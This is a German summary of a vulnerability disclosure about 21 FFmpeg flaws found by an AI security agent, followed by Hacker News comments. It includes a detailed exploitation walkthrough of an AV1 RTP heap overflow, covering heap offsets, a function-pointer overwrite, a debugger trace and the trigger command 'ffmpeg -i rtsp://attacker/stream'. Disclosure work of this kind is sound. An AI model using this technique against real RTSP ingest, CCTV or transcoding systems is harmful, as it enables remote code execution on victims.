- FFmpeg, das weltweit in Browsern und Streaming-Infrastrukturen Medien verarbeitet, ist durch das Parsen komplexer und nicht vertrauenswürdiger Eingaben eine sicherheitskritische Angriffsfläche
- Der autonome Security Agent von depthfirst fand 21 Zero-Days in rund 1,5 Millionen Zeilen optimiertem C-Code; die Kosten lagen bei etwa 1.000 US-Dollar und damit bei rund 10 % der 10.000 US-Dollar, die Anthropic für Mythos ausgab
- Die Funde verteilen sich über mehrere Komponenten wie den TS-Demuxer, den VP9-Decoder und RTP/RTSP/RTMP-Verarbeitungspfade; einige Schwachstellen waren 15–20 Jahre lang latent vorhanden
- Eine Schwachstelle im AV1-RTP-Depacketizer führte zu einem PoC, der mit nur einem 183-Byte-RTP-Paket einen Funktionszeiger überschreibt, erreichbar allein durch das Ausführen von
ffmpeg -i rtsp://attacker/stream
- Praxisnahe Sicherheitsvalidierung erfordert nicht theoretische Warnungen, sondern reproduzierbare Eingaben und bestätigte Ausführung; agentische Analyse kann direkt zum Aufspüren verborgener Schwachstellen in großen C-Codebasen eingesetzt werden
Überblick
- FFmpeg ist weit verbreitete Software zur Verarbeitung von Medien, unter anderem in Browsern und in der Infrastruktur großer Streaming-Plattformen
- Weil es sich um eine Bibliothek handelt, die kontinuierlich komplexe und nicht vertrauenswürdige Medien parst, ist sie sicherheitskritisch und ein wichtiges Ziel für Zero-Click-Angriffe
- Das FFmpeg-Repository besteht aus etwa 1,5 Millionen Zeilen hochgradig optimiertem C-Code und parst Hunderte komplexer Medienformate
- FFmpeg wurde über mehr als 20 Jahre hinweg per Fuzzing und manuellen Audits untersucht; zuletzt veröffentlichte das Google-Big-Sleep-Team 13 Schwachstellen in FFmpeg
- Anthropic scannte FFmpeg mit dem Mythos-Modell und fand einige Security Issues
- Nach diesen Vorarbeiten wurde es schwieriger, neue Schwachstellen in FFmpeg zu finden, wodurch es sich als Prüfstein für die Fähigkeiten agentischer Systeme zum tiefen Scannen großer Codebasen eignet
Der Security Agent von Depthfirst
- Coding Agents und Security Agents können dasselbe Basismodell verwenden, ihre Ziele unterscheiden sich jedoch stark
- Coding Agents konzentrieren sich in der Regel darauf, von Menschen gestellte Aufgaben anzunehmen und Anwendungscode zu schreiben
- Security Agents übernehmen ohne konkrete Anweisungen eine eng umrissene, zielgerichtete Rolle: reale, praktisch ausnutzbare Security Issues in bestehenden Systemen zu finden
- Ein Security Agent muss zunächst die Architektur einer Codebasis, exponierte Parser und Protokoll-Handler sowie die Eintrittspunkte für vom Angreifer kontrollierte Eingaben verstehen
- Anschließend behandelt er das Repository nicht als flache Dateisammlung, sondern verfolgt den Datenfluss von Code an der Angriffsfläche zu den relevanten Komponenten
- Ein praxisnaher Security Agent braucht Guardrails, die verhindern, dass fehlende Bedingungen hinzuerfunden, theoretische Bugs übertrieben oder große Mengen an False Positives erzeugt werden
- Er muss prüfen, ob ein Angreifer die korrekten Eingaben tatsächlich kontrollieren kann, ob der verwundbare Pfad erreichbar ist und ob sich der vermutete Fehler reproduzieren lässt
- Falls nötig, muss er einen Harness identifizieren oder erzeugen, der mit der Zielkomponente interagiert, um die Hypothese konkret zu testen
- Der spezialisierte Security Agent von depthfirst analysiert Code tiefgehend und verzweigt mehrere Hypothesen parallel zum Testen
- Das Ergebnis sind keine theoretischen Berichte oder vagen Warnungen, sondern reproduzierbare Security Issues mit durch konkrete Eingaben bestätigter Ausführung
Ergebnisse
- Der Agent entdeckte insgesamt 21 Zero-Days, von denen die Bandbreite vom TS-Demuxer bis zum VP9-Decoder reicht
- Die Gesamtkosten lagen bei etwa 1.000 US-Dollar, also bei rund 10 % der Kosten, die Anthropic für den Einsatz von Mythos aufwandte
- Kostenvergleich: {b:1,10}
-
Schwachstellen mit zugewiesener CVE
- CVE-2026-39210 ist ein Heap-Buffer-Overflow im TS-Demuxer, bei dem vor dem Lesen von zwei Bytes keine Längen-Grenzprüfung erfolgt; eingeführt 2010
- CVE-2026-39211 ist ein Integer Overflow, der während eines swscale-Refactorings entstand, bei dem eine unbeschränkte Größenfaktor-Formel benutzerkontrollierte Parameter zu beliebig großer Skalierung führen ließ; eingeführt 2010
- CVE-2026-39212 ist ein Stack Overflow in
ffmpeg_opt.c, bei dem Preset-Dateien ohne Tiefenbegrenzung rekursiv das Optionen-Parsing auslösen konnten; als Regression im Juli 2025 eingeführt
- CVE-2026-39213 ist ein Heap-Buffer-Overflow im rawvideo-Eingabepfad von yuv4mpegenc, bei dem eine Dimensionsprüfung der Paketgröße fehlt; eingeführt 2023
- CVE-2026-39214 ist ein Stack-Buffer-Overflow in der ursprünglichen SDT-Implementierung, die Service-Entries schreibt, ohne den verbleibenden Platz zu verfolgen; eingeführt 2003 und 23 Jahre lang latent
- CVE-2026-39215 ist ein Heap-Buffer-Overflow durch einen Logikfehler in
update_mb_info(), durch den ein späterer Aufruf 12 Bytes hinter den zugewiesenen Buffer schreibt; eingeführt 2012
- CVE-2026-39216 ist ein Heap-Buffer-Overflow in
img2enc.c, der entstand, als sichere Chroma-Größen durch dimensionsbasierte unbeschränkte Größen ersetzt wurden; eingeführt 2012
- CVE-2026-39217 ist ein Heap-Buffer-Overflow im VP9-Decoder, bei dem eine refaktorierte Größen-Update-Funktion die notwendige Reallokation des Tile-Thread-Buffers verpasst; als Regression im März 2025 eingeführt
- CVE-2026-39218 ist ein Heap-Buffer-Overflow im DASH-Demuxer, der negative duration-Werte nicht zurückweist, wodurch der Index des Fragment-Arrays negativ wird; eingeführt 2017
-
Schwachstellen, referenziert über interne Tracking-IDs
- DFVULN-127 ist ein Heap-Buffer-Overflow, bei dem
av1_handle_packet() im RTP-AV1-Depacketizer eine Temporal Delimiter OBU überspringt und die Ausgabeposition um obu_size vorwärtsbewegt, ohne Speicher derselben Größe zu allokieren, sodass die nächste OBU außerhalb der Buffer-Grenzen schreibt
- DFVULN-126 ist ein Heap-Buffer-Overflow, bei dem
run_legacy_unscaled() im swscale-Graph-Code die Umwandlung von interlaced YUV420P→NV12 falsch verarbeitet und die Ziel-Y-Plane um 576 Byte überschreibt
- DFVULN-125 ist ein Stack-Buffer-Overflow, bei dem
jpeg_create_header() im RTP-JPEG-Depacketizer beim Aufbau eines Quantisierungstabellen-Abschnitts in einem 1024-Byte-Stack-Buffer nach einem Paket mit qtable_len >= 1024 mittels AV_WB16 2 Byte über das Ende hinausschreibt
- DFVULN-124 ist ein Heap-Buffer-Overflow, bei dem
istg_parse_tile_grid() im AVIF-Overlay-Pfad eine dimg-Referenz mit null Tile-Entries nicht verwirft und dadurch nach einem Unsigned-Wraparound bei einer 1-Byte-Heap-Allokation ein Out-of-Bounds-Read auslöst
- DFVULN-123 ist ein Integer Overflow, bei dem
latm_parse_packet() im RTP-LATM-Depacketizer per signed 32-bit Additions-Overflow die Grenzprüfung umgeht, sodass memcpy etwa 1 GB hinter dem Ende des Heap-Buffers liest
- DFVULN-122 ist ein Heap-Buffer-Overflow, bei dem
aac_parse_packet() im RTP-MPEG-4-Depacketizer eine AU-headers-length von 0 akzeptiert, dadurch eine 1-Byte-Allokation erzeugt und dann ohne Prüfung auf vorhandene AU-Header ein 4-Byte-Feld liest
- DFVULN-121 ist ein Heap-Buffer-Underflow, bei dem
read_seek() im CAF-Demuxer den Rückgabewert -1 von av_index_search_timestamp() nicht prüft und ihn als Array-Index verwendet, wodurch auf index_entries[-1] zugegriffen wird
- DFVULN-120 ist ein Integer Underflow, bei dem
ff_read_riff_info() im AVI-Demuxer size - 4 verwendet, ohne size >= 4 zu prüfen, wodurch bei einer LIST-Chunk-Größe von 0 ein Underflow auf etwa 4 GB und eine Allokation von etwa 2 GB ausgelöst wird
- DFVULN-119 ist ein Heap-Buffer-Overflow, bei dem ein überflüssiges Inkrement in
opt_map() des Optionen-Parsers ein Link-Label fälschlich als Dateiindex parst und den Stream-Index -1 speichert, sodass eine spätere Schleife vor dem AVStream**-Array liest
- DFVULN-118 ist ein Heap-Buffer-Overflow, bei dem
rtsp_read_announce() im RTSP-Server-Pfad ein negatives Content-Length als gültig verarbeitet und dadurch mit einem entfernten ANNOUNCE und Content-Length: -1 ein Out-of-Bounds-Write auf sdp[-1] auslöst
- DFVULN-117 ist ein Heap-Buffer-Overflow, bei dem
rtmp_calc_swfhash() im RTMP-Client nur in_size < 3 statt in_size < 8 prüft und dadurch 8 Byte aus einem mindestens 3 Byte großen Buffer liest
- DFVULN-116 ist ein Heap-Buffer-Overflow, bei dem
sdp_parse_line() beim RTSP-SDP-Parsing auf einem leeren String strlen(control_url) - 1 berechnet, wodurch size_t nach SIZE_MAX wrappt und ein 1-Byte-Pre-Buffer-Read entsteht
Vom übersprungenen Frame-Marker zur Kontrolle über den PC
- Unter den 21 Funden ist der Heap-Buffer-Overflow im AV1-RTP-Depacketizer aus dem Netzwerk ohne spezielle Flags erreichbar
- Das Opfer muss lediglich
ffmpeg -i rtsp://attacker/stream ausführen, und ein einzelnes 183-Byte-Paket kann den Ausführungsfluss umlenken
- Wenn FFmpeg einen RTSP-Stream abruft, liefert der Server kodiertes Video als Sequenz von RTP-Paketen
- AV1 organisiert den Bitstream in OBU (Open Bitstream Units), und das RTP-Payload-Format teilt diese OBU auf mehrere Pakete auf
- Der Depacketizer von FFmpeg setzt die aufgeteilten OBU anschließend wieder zu einem sauberen Elementary Stream zusammen
- Ein Temporal Delimiter (TD) ist ein kleiner Marker, der eine Temporal Unit, also ein Frame, vom nächsten Frame trennt
- Die Spezifikation schreibt vor, dass der Depacketizer TDs im Payload „ignore and remove“ soll
- Genau diese Verarbeitung von „ignore and remove“ wurde zum Problem, und der Agent identifizierte diese Stelle
Ursache
- Der Depacketizer baut das Ausgabepaket schrittweise auf, wobei der Cursor
pktpos innerhalb von pkt->data die Position verfolgt, an die das nächste Byte geschrieben wird
pktpos startet am aktuellen Ende des Pakets
// libavformat/rtpdec_av1.c:199
pktpos = pkt->size;
- Wenn der Code die OBU-Elemente im Paket durchläuft, geht jedem Byte, das tatsächlich ausgegeben wird, ein Aufruf von
av_grow_packet voraus, der die Heap-Allokation von pkt->data vergrößert
- Die Invariante, auf der die gesamte Routine beruht, lautet, dass
pktpos nicht vor die allokierte Größe von pkt->data laufen darf
- Der Code zur Verarbeitung von Temporal Delimitern verletzt diese Invariante
// libavformat/rtpdec_av1.c:250
if ((obu_type == AV1_OBU_TEMPORAL_DELIMITER) ||
(obu_type == AV1_OBU_TILE_LIST)) {
pktpos += obu_size;
rem_pkt_size -= obu_size;
obu_cnt++;
continue;
}
- Beim Überspringen eines TD wird
pktpos um das vom Angreifer deklarierte obu_size vorwärtsbewegt, aber es wird kein Speicher allokiert, der diese Bewegung absichert
- Auch der Eingabezeiger
buf_ptr wird nicht hinter die TD-Bytes weiterbewegt
- Bei einem TD mit
obu_size = 148 wird pktpos zu 148, während pkt->data weiterhin nicht allokiert ist oder deutlich kleiner als 148 Byte sein kann
- Die nächste Iteration parst dann die Bytes des TD selbst erneut, liest das TD-Header-Byte erneut als Länge einer neuen OBU und verwendet den Payload als Inhalt einer manipulierten OBU
- Bei der nächsten regulären OBU wächst das Paket nur um die Größe dieser OBU
// libavformat/rtpdec_av1.c:296
if ((result = av_grow_packet(pkt, output_size)) < 0)
return result;
// libavformat/rtpdec_av1.c:304 / 336
pkt->data[pktpos++] = *buf_ptr++ | AV1F_OBU_HAS_SIZE_FIELD;
memcpy(pkt->data + pktpos, buf_ptr, obu_payload_size);
- Ist die manipulierte OBU 17 Byte groß, allokiert
av_grow_packet einen Buffer von 81 Byte, bestehend aus 17 Byte plus FFmpegs 64 Byte Input-Padding
- Der Schreibvorgang beginnt bei
pkt->data[148] und findet damit 67 Byte hinter dem Ende der Allokation statt
- Dieser Fehler führt zu einem Heap-Buffer-Overflow, bei dem der Angreifer sowohl Offset als auch Inhalt kontrolliert
Ausnutzung
- Damit ein kontrollierbarer Overflow nützlich ist, muss sich direkt hinter dem Buffer ein überschreibbares Ziel befinden, und FFmpegs Allocator liefert genau das
- Wenn
av_grow_packet den Paketdaten-Buffer allokiert, geschieht dies über av_buffer_alloc, das nacheinander den Daten-Buffer, die AVBuffer-Bookkeeping-Struktur und AVBufferRef auf dem Heap allokiert
- FFmpeg allokiert über
posix_memalign mit 64-Byte-Ausrichtung, daher belegt ein 81-Byte-Daten-Buffer einen 128-Byte-Chunk, und die AVBuffer-Struktur liegt direkt dahinter
- Die
AVBuffer-Struktur enthält einen Funktionszeiger, der als Free-Callback verwendet wird
// libavutil/buffer_internal.h
struct AVBuffer {
uint8_t *data; // +0
size_t size; // +8
atomic_uint refcount; // +16
void (*free)(void *opaque, uint8_t *data); // +24
void *opaque; // +32
...
};
- Relativ zum Anfang des Daten-Buffers befindet sich der Zeiger
AVBuffer.free bei Offset 152
- Bei einem TD mit
obu_size = 148 beginnt der Schreibvorgang bei pkt->data[148]
- Das TD-Header-Byte
0x10 wird erneut als Länge 16 interpretiert, und Header sowie Payload der manipulierten 16-Byte-OBU werden ab Offset 148 geschrieben
AVBuffer.refcount liegt bei Offset 144–147 und bleibt daher vor dem Schreibbeginn bei 148 unberührt; der ursprüngliche Wert 1 bleibt erhalten- Der Exploit platziert im TD-Payload eine dritte manipulierte OBU, um ein weiteres
av_grow_packet auszulösen
- Weil der Buffer mit
av_buffer_alloc und nicht mit av_buffer_realloc erzeugt wurde, ist er nicht als reallocatable markiert, und FFmpeg wählt den Pfad, der einen neuen Buffer allokiert und dann den alten freigibt
// libavutil/buffer.c:209
if (!(buf->buffer->flags_internal & BUFFER_FLAG_REALLOCATABLE) || ...) {
ret = av_buffer_realloc(&new, size);
memcpy(new->data, buf->data, ...);
buffer_replace(pbuf, &new);
return 0;
}
buffer_replace reduziert den Refcount des alten Buffers von 1 auf 0 und ruft den Free-Callback auf
// libavutil/buffer.c:129
if (atomic_fetch_sub_explicit(&b->refcount, 1, memory_order_acq_rel) == 1) {
b->free(b->opaque, b->data);
}
- In diesem Moment wird der überschriebene
free-Zeiger aufgerufen, wodurch Kontrolle über den Instruction Pointer möglich wird
- In einem Release-Build setzte ein einzelnes 183-Byte-RTP-Paket
rip auf 0xdeadbeef
#0 0x00000000deadbeef in ?? ()
rip 0xdeadbeef 0xdeadbeef
#1 buffer_replace (buffer.c:133)
#2 av_buffer_realloc (buffer.c:220)
#3 av_grow_packet (packet.c:151)
#4 av1_handle_packet (rtpdec_av1.c:296)
#5 rtp_parse_packet_internal (rtpdec.c:743)
Betroffene Umgebungen und PoC
- Deployment-Umgebungen, in denen FFmpeg dazu gebracht werden kann, eine vom Angreifer beeinflusste RTSP-URL zu öffnen, sind für diese Schwachstelle anfällig
- Betroffen sind Media-Ingest-Pipelines, die vom Benutzer angegebene Stream-URLs abrufen
- Betroffen sind Surveillance- und CCTV-Systeme, die RTSP-Feeds abrufen
- Betroffen sind Transcoding-Services, die entfernte AV1-over-RTP-Quellen verarbeiten
- Weder Authentifizierung noch eine Benutzerinteraktion über das Öffnen des Streams hinaus sind erforderlich, ebenso wenig ungewöhnliche Command-Line-Flags
- Die Schwachstelle wird während der normalen RTSP-
PLAY-Phase ausgelöst, die diese Clients designbedingt ausführen
- Der PoC-Code steht unter ffmpeg-dfvuln127 zur Verfügung
1 Kommentare
Hacker-News-Kommentare
FFmpeg hat sicherheitstechnisch eine besonders schlechte Bilanz
Schon seit Langem tauchen beim Einsatz von Fuzzern praktisch endlos Speicherbeschädigungs-Bugs auf, und auch vor 10 Jahren gab es dazu Arbeit von Google-Mitarbeitern: https://security.googleblog.com/2014/01/ffmpeg-and-thousand-...
Daher ist das zwar eine Demo, die die Fähigkeiten eines LLM zeigt, aber nicht wirklich überraschend. Wenn man mit nicht vertrauenswürdigen oder von Nutzern gelieferten Inhalten arbeitet, sollte man FFmpeg nicht außerhalb einer Sandbox ausführen; alles andere hieße, ein unangemessenes Risiko einzugehen
Es hieß, eine Schwachstelle habe einen extrem nischigen Codec betroffen, der vielleicht in einem Videospiel aus den 90ern verwendet werde, und der Melder habe daraus ein großes Drama gemacht, obwohl es in der Praxis kaum genutzt werde
Aber wenn ein Angreifer eine Videodatei liefern kann, kann er sich doch jeden beliebigen Videocodec aussuchen. Selbst wenn ein Entwickler glaubt, dass dieser Codec praktisch nie verwendet wird: Solange er noch unterstützt wird, kann ein Angreifer ihn ausnutzen
Ich frage mich, ob mir etwas entgeht und ob es einen stichhaltigen Grund gibt, warum eine Schwachstelle in diesem Codec wirklich keine große Sache wäre
Bis vor Kurzem gab es keinen nativen virtio-GPU-Kontext, sodass es sogar unmöglich war, einen Videoplayer zu sandboxen, ohne sämtliche Hardwarebeschleunigung zu verlieren. Zumindest ließ sich das von außen kaum erzwingen; intern konnte man FFmpeg wie bei Chromium isolieren und mit seccomp stark einschränken
Das ist kein exklusives Problem von FFmpeg. Auch Apple hatte unzählige Schwachstellen in Bild- und Videodecodern. Dieser Bereich ist an sich sehr schwierig, und FFmpeg macht mehr als praktisch jeder andere
Ich denke, die Branche optimiert auf das Falsche. Es ist leicht, mit so etwas wie Mythos preview 1 oder GPT-5.5 Tausende von KI-generierten Bug-Reports zu erzeugen. Schwierig ist es, die Bugs tatsächlich zu beheben
Seit einigen Monaten baue ich ein System, das nicht nur kritische Sicherheitsprobleme findet und meldet, sondern direkt PRs eröffnet. Bisher liegt die Annahmequote bei ungefähr 94 %. Die meisten Fehlschläge waren keine Fehlbewertungen von Schwachstellen, sondern auf undokumentierte projektspezifische Kill-Switches oder interne Mechanismen zurückzuführen
Entwickler scheinen diesen Ansatz im Allgemeinen zu bevorzugen. Bug-Reports schaffen Arbeit, gute PRs reduzieren Arbeit. Klingt offensichtlich, aber viele Sicherheitsprodukte hören offenbar immer noch beim Report auf
So läuft es im Grunde seit Bestehen der Branche, und erst jetzt bekommen wir allmählich geeignete Werkzeuge, um den Schaden und die allgemeine Fragilität zu bewerten
Dieser Bug ist wegen seiner Reichweite gravierend. Jede Deployment-Umgebung, in der FFmpeg auf eine vom Angreifer beeinflussbare RTSP-URL schaut, ist betroffen
Dazu gehören Media-Ingestion-Pipelines, die von Nutzern gelieferte Stream-URLs übernehmen, Überwachungs- und CCTV-Systeme, die RTSP-Feeds abrufen, oder Transcoding-Dienste, die entfernte AV1-over-RTP-Quellen verarbeiten. Das ist in der Praxis ziemlich ernst, und fast schon überraschend, dass es offengelegt wurde. Mir fallen sofort mehrere Dienste ein, die sich aktuell ausnutzen ließen
Selbst wenn das Ganze nicht so schlimm ist, wie es aussieht, und eher wie Werbung für eine Sicherheitsfirma wirkt, erinnert es doch daran, dass irgendwo in jeder ausgelieferten Anwendung Sicherheitslücken stecken und heute selbst ein Script Kiddie sie fünf Minuten nach dem Release mit 2 Dollar Guthaben finden kann
Wenn man den Code vor der Veröffentlichung nicht mit einem Red Team überprüft, übernehmen das nach dem Release eben Hacker
Der Begriff Zero-Day wird inflationär verwendet. Unter den beschriebenen Schwachstellen ist eigentlich keine echte Zero-Day, aber so klingt es gut und erzeugt Klicks
„An diesem Punkt wird der beschädigte free-Zeiger aufgerufen, und wir haben die Kontrolle über den Befehlszeiger“ ist ziemlich ernst
Allerdings sieht es nicht so aus, als würde dieser Bug allein in der Praxis schon beliebige Remote-Code-Ausführung ermöglichen. Vor allem nicht mit ASLR, und außerdem müsste es irgendwo speicherbare und zugleich ausführbare Speicherseiten geben
system()möglich zu seinTrotzdem bräuchte man einen weiteren Exploit, um ASLR zu umgehen
Das ist nicht die Bedeutung von „Zero-Day“
Die Anreizstruktur im Bereich Sicherheitsforschung ist grundlegend kaputt
Diese Leute sind wie mittlere Manager in der FOSS-Welt. Sie bekommen Lob dafür, Freiwilligen noch mehr Arbeit aufzubürden, und je dringender die Arbeit ist, desto mehr Lob bekommen sie. Die tatsächlichen Auswirkungen oder praktischen Implikationen eines Problems anzuerkennen, steht im Konflikt mit ihren Anreizen
Es ist schwer, sie nicht als Straßenkehrer der Softwarebranche zu sehen, und ich finde, man sollte anfangen, sie eher wie unerwünschte Außenseiter zu behandeln. Entweder einen PR schicken oder still sein
Ich nutze FFmpeg schon sehr lange, sowohl privat als auch in Diensten, die ich gebaut habe. Fabrice Bellard ist ein Genie, und die Entwickler, die FFmpeg bis hierher gebracht haben, haben die Welt messbar reicher gemacht.
Trotzdem fällt mir kein Programm ein, das es mehr wert wäre als FFmpeg, in einer Sandbox zu laufen, wenn es mit nicht vertrauenswürdigen Eingaben ausgeführt wird. Der Grund ist, dass riesige Mengen an C-Code komplexe Video- und Audio-Codecs verarbeiten, die berüchtigt schwer vollständig korrekt zu implementieren sind.
In der Praxis ist das aber gar nicht so problematisch. Man kann FFmpeg in einer VM oder in gVisor ausführen, und das Endergebnis ist meist eine Videodatei, die man ohnehin im Browser abspielen würde. Dort wird sie beim Decoding noch einmal in einer weiteren Sandbox verarbeitet, also ist das von vornherein eine schwierige Aufgabe.
Sichere Sandboxing-Ansätze werden leicht zu einer Gelegenheit, uneingeschränktes Kopieren zu ermöglichen.
Es geht um eine Schwachstelle, bei der
latm_parse_packet()im RTP-LATM-Depaketisierungscode eine vorzeichenbehaftete 32-Bit-Addition ausführt, dabei einen Overflow erzeugt und so die Grenzprüfung umgeht.Wieder einmal entsteht eine Schwachstelle durch eine Addition ohne Prüfung, und trotzdem werfen moderne Sprachen wie Rust oder Go bei Overflow keine Ausnahme, moderne CPU-Architekturen wie RISC-V bieten ebenfalls keinen Overflow-Trap, und auch ältere Sprachen wie C oder C++ haben keine Overflow-Prüfungen.
Das ist absurd. Es ist offensichtlich, dass man sich nicht darauf verlassen kann, dass Menschen korrekten Arithmetik-Code schreiben.
Auch das Standardverhalten von Integer-Overflow im Release-Modus von Rust ist definiert; es wrappt einfach nur. Dadurch ist es weniger wahrscheinlich, dass daraus eine Schwachstelle entsteht. Natürlich gilt das nicht mehr, sobald man anfängt, unsafe Rust zu verwenden.
Rust wirft standardmäßig keine Overflow-Ausnahme, aber man kann stattdessen so etwas wie
123.checked_add(321)schreiben. Das macht den Code schwerer lesbar, ist dafür aber sicher gegenüber Overflow.Ehrlich gesagt wäre für meine Art zu programmieren etwas wie ein Kommentar am Zeilenende besser, zum Beispiel
var x = y + z; # wrapped.Es ist sehr unwahrscheinlich, dass man innerhalb einer einzelnen Zeile wrapende, prüfende und saturierende Arithmetik mischt. In Zig muss jede Zeile auch ohne anderen Code-Kontext für sich allein kompilierbar sein, deshalb kommt ein Compiler-Zustand wie
doing(wrapped) { x + y }nicht infrage. Funktionsnamen sind zu langatmig, und Typumwandlungen sind ebenfalls zu langatmig. Ein Modifikator auf Anweisungsebene könnte ein guter Kompromiss sein.